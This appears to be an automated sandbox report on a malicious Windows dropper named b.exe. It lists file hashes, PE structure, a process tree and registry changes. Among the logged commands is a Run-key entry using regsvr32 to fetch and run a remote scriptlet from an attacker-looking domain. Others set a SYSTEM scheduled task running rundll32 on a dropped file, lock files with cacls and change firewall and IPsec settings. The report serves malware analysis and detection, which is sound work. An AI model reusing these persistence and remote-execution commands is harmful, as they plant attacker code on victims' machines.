download:

b.exe

Full analysis: https://app.any.run/tasks/39f790f5-05dc-47ac-a6ec-e3224264def8
Verdict: Malicious activity
Analysis date: May 15, 2019, 07:36:21
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows
MD5:

55EB8BA4D26EF4391F437A02C91DCF88

SHA1:

BB0E722E105D9988F01AD9883C3D7E0A3E47A2F2

SHA256:

FC6139285E620B2BF633A924339B2364A2B6CCC51971EF6BA8171F566829557F

SSDEEP:

6144:0/fAhvV6B8ErzPZp5wdz753RSJT+tLFS9UHz:QfAv6B8azBwdQT+t0SHz

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Starts NET.EXE for service management

      • cmd.exe (PID: 4024)

    • Changes the autorun value in the registry

      • reg.exe (PID: 2996)
      • reg.exe (PID: 3284)

    • Loads the Task Scheduler COM API

      • schtasks.exe (PID: 2308)
      • schtasks.exe (PID: 2556)
      • schtasks.exe (PID: 2492)
      • schtasks.exe (PID: 3068)
      • schtasks.exe (PID: 3836)
      • schtasks.exe (PID: 2524)
      • schtasks.exe (PID: 2840)
      • schtasks.exe (PID: 3720)
      • schtasks.exe (PID: 3160)
      • schtasks.exe (PID: 2084)
      • schtasks.exe (PID: 3736)
      • schtasks.exe (PID: 2248)
      • schtasks.exe (PID: 3232)
      • schtasks.exe (PID: 3096)
      • schtasks.exe (PID: 2500)
      • schtasks.exe (PID: 3172)
      • schtasks.exe (PID: 2724)
      • schtasks.exe (PID: 2080)
      • schtasks.exe (PID: 3440)
      • schtasks.exe (PID: 2084)
      • schtasks.exe (PID: 2620)

    • Uses Task Scheduler to run other applications

      • cmd.exe (PID: 4024)

  • SUSPICIOUS

    • Removes files from Windows directory

      • WScript.exe (PID: 2468)
      • cmd.exe (PID: 4024)

    • Application launched itself

      • b.exe (PID: 3048)
      • cmd.exe (PID: 4024)

    • Executes scripts

      • b.exe (PID: 3104)

    • Starts CMD.EXE for commands execution

      • WScript.exe (PID: 2468)
      • cmd.exe (PID: 4024)

    • Creates files in the Windows directory

      • b.exe (PID: 3104)

    • Uses ATTRIB.EXE to modify file attributes

      • cmd.exe (PID: 4024)

    • Starts SC.EXE for service management

      • cmd.exe (PID: 4024)

    • Uses TASKKILL.EXE to kill process

      • cmd.exe (PID: 4024)

    • Uses REG.EXE to modify Windows registry

      • cmd.exe (PID: 4024)

    • Uses NETSH.EXE for network configuration

      • cmd.exe (PID: 4024)

    • Uses RUNDLL32.EXE to load library

      • cmd.exe (PID: 4024)

    • Creates or modifies windows services

      • netsh.exe (PID: 1032)

  • INFO

    No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win32 Executable MS Visual C++ (generic) (42.2)
.exe | Win64 Executable (generic) (37.3)
.dll | Win32 Dynamic Link Library (generic) (8.8)
.exe | Win32 Executable (generic) (6)
.exe | Generic Win/DOS Executable (2.7)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2018:09:30 20:01:44+02:00
PEType: PE32
LinkerVersion: 14
CodeSize: 190976
InitializedDataSize: 109056
UninitializedDataSize: -
EntryPoint: 0x1d549
OSVersion: 5.1
ImageVersion: -
SubsystemVersion: 5.1
Subsystem: Windows GUI

Summary

Architecture: IMAGE_FILE_MACHINE_I386
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date: 30-Sep-2018 18:01:44
Detected languages:
  • Chinese - PRC
Debug artifacts:
  • D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb

DOS Header

Magic number: MZ
Bytes on last page of file: 0x0090
Pages in file: 0x0003
Relocations: 0x0000
Size of header: 0x0004
Min extra paragraphs: 0x0000
Max extra paragraphs: 0xFFFF
Initial SS value: 0x0000
Initial SP value: 0x00B8
Checksum: 0x0000
Initial IP value: 0x0000
Initial CS value: 0x0000
Overlay number: 0x0000
OEM identifier: 0x0000
OEM information: 0x0000
Address of NE header: 0x00000120

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_I386
Number of sections: 6
Time date stamp: 30-Sep-2018 18:01:44
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00E0
Characteristics:
  • IMAGE_FILE_32BIT_MACHINE
  • IMAGE_FILE_EXECUTABLE_IMAGE

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
.text
0x00001000
0x0002E924
0x0002EA00
IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
6.69845
.rdata
0x00030000
0x00009A8C
0x00009C00
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
5.13014
.data
0x0003A000
0x000203A0
0x00000C00
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
3.23545
.gfids
0x0005B000
0x000000E8
0x00000200
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
2.09308
.rsrc
0x0005C000
0x0000DFD0
0x0000E000
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
6.60013
.reloc
0x0006A000
0x00001FDC
0x00002000
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
6.67876

Resources

Title
Entropy
Size
Codepage
Language
Type
1
5.25329
1875
Latin 1 / Western European
Chinese - PRC
RT_MANIFEST
2
5.10026
2216
Latin 1 / Western European
Chinese - PRC
RT_ICON
3
5.25868
3752
Latin 1 / Western European
Chinese - PRC
RT_ICON
4
5.02609
1128
Latin 1 / Western European
Chinese - PRC
RT_ICON
5
5.18109
4264
Latin 1 / Western European
Chinese - PRC
RT_ICON
6
5.04307
9640
Latin 1 / Western European
Chinese - PRC
RT_ICON
7
5.24197
182
Latin 1 / Western European
Chinese - PRC
RT_STRING
8
5.27357
214
Latin 1 / Western European
Chinese - PRC
RT_STRING
9
5.38938
202
Latin 1 / Western European
Chinese - PRC
RT_STRING
10
5.11103
116
Latin 1 / Western European
Chinese - PRC
RT_STRING

Imports

KERNEL32.dll
USER32.dll (delay-loaded)
gdiplus.dll
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
272
Monitored processes
233
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start b.exe no specs b.exe wscript.exe no specs cmd.exe no specs net1.exe no specs net1.exe no specs net1.exe no specs net.exe no specs net1.exe no specs sc.exe no specs attrib.exe no specs attrib.exe no specs attrib.exe no specs attrib.exe no specs attrib.exe no specs attrib.exe no specs attrib.exe no specs attrib.exe no specs attrib.exe no specs taskkill.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs cacls.exe no specs reg.exe reg.exe reg.exe no specs reg.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs net.exe no specs net1.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs wmic.exe no specs wmic.exe no specs wmic.exe no specs wmic.exe no specs wmic.exe no specs wmic.exe no specs wmic.exe no specs findstr.exe no specs cmd.exe no specs wmic.exe no specs findstr.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs taskkill.exe no specs rundll32.exe no specs netsh.exe no specs netsh.exe no specs netsh.exe no specs netsh.exe no specs netsh.exe no specs netsh.exe no specs netsh.exe no specs netsh.exe no specs sc.exe no specs net.exe no specs net1.exe no specs netsh.exe no specs netsh.exe no specs netsh.exe no specs netsh.exe no specs netsh.exe no specs netsh.exe no specs netsh.exe no specs netsh.exe no specs netsh.exe no specs netsh.exe no specs netsh.exe no specs netsh.exe no specs netsh.exe no specs netsh.exe no specs netsh.exe no specs netsh.exe no specs netsh.exe no specs cmd.exe no specs find.exe no specs wmic.exe no specs wmic.exe no specs wmic.exe no specs wmic.exe no specs wmic.exe no specs wmic.exe no specs wmic.exe no specs wmic.exe no specs wmic.exe no specs wmic.exe no specs wmic.exe no specs wmic.exe no specs wmic.exe no specs wmiapsrv.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
664cacls C:\Windows\Fonts\Mysql\*.exe /e /d systemC:\Windows\system32\cacls.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Control ACLs Program
Exit code:
3
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\cacls.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
676cacls C:\Users\Default\AppData\Local\Temp /e /g everyone:fC:\Windows\system32\cacls.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Control ACLs Program
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\imm32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\usp10.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\kernelbase.dll
c:\systemroot\system32\ntdll.dll
c:\windows\system32\cacls.exe
c:\windows\system32\kernel32.dll
c:\windows\system32\advapi32.dll
676attrib -s -h -r C:\Users\Default\AppData\Roaming\*.exeC:\Windows\system32\attrib.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Attribute Utility
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\attrib.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ulib.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
992cacls C:\Users\asp\AppData\Roaming\Tempo\*.exe /e /d systemC:\Windows\system32\cacls.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Control ACLs Program
Exit code:
3
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\cacls.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
1032netsh ipsec static set policy name=win assign=yC:\Windows\system32\netsh.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Network Command Shell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\netsh.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\credui.dll
c:\windows\system32\user32.dll
2080SCHTASKS /Delete /TN "at1" /FC:\Windows\system32\schtasks.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
2084SCHTASKS /Delete /TN "Microsoft LocalManager[Windows Server 2008 R2 Enterprise]" /FC:\Windows\system32\schtasks.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\sspicli.dll
c:\windows\system32\clbcatq.dll
c:\windows\system32\sechost.dll
c:\windows\system32\version.dll
c:\windows\system32\imm32.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\usp10.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\msvcrt.dll
2084schtasks /create /tn "Mysa1" /tr "rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa" /ru "system" /sc onstart /FC:\Windows\system32\schtasks.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
2088netsh advfirewall firewall add rule name="deny tcp 139" dir=in protocol=tcp localport=139 action=blockC:\Windows\system32\netsh.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Network Command Shell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\netsh.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\credui.dll
c:\windows\system32\user32.dll
2092cacls C:\ProgramData\diskdata\*.exe /e /d systemC:\Windows\system32\cacls.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Control ACLs Program
Exit code:
3
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\cacls.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
Total events
2 217
Read events
994
Write events
1 221
Delete events
2

Modification events

(PID) Process:(3048) b.exeKey:HKEY_CURRENT_USER\Software\WinRAR SFX
Operation:writeName:C%%Windows%ime
Value:
C:\Windows\ime
(PID) Process:(3048) b.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(3048) b.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
(PID) Process:(3104) b.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(3104) b.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
(PID) Process:(2468) WScript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(2468) WScript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
(PID) Process:(2996) reg.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Operation:writeName:start
Value:
regsvr32 /u /s /i:http://js.1226bye.xyz:280/v.sct scrobj.dll
(PID) Process:(3284) reg.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run
Operation:writeName:start
Value:
regsvr32 /u /s /i:http://js.1226bye.xyz:280/v.sct scrobj.dll
(PID) Process:(2736) netsh.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\62\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
Executable files
0
Suspicious files
0
Text files
2
Unknown types
0

Dropped files

PID
Process
Filename
Type
3104b.exeC:\Windows\IME\n.vbstext
MD5:—
SHA256:—
3104b.exeC:\Windows\IME\c3.battext
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
0
DNS requests
0
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

No data

DNS requests

No data

Threats

No threats detected
No debug info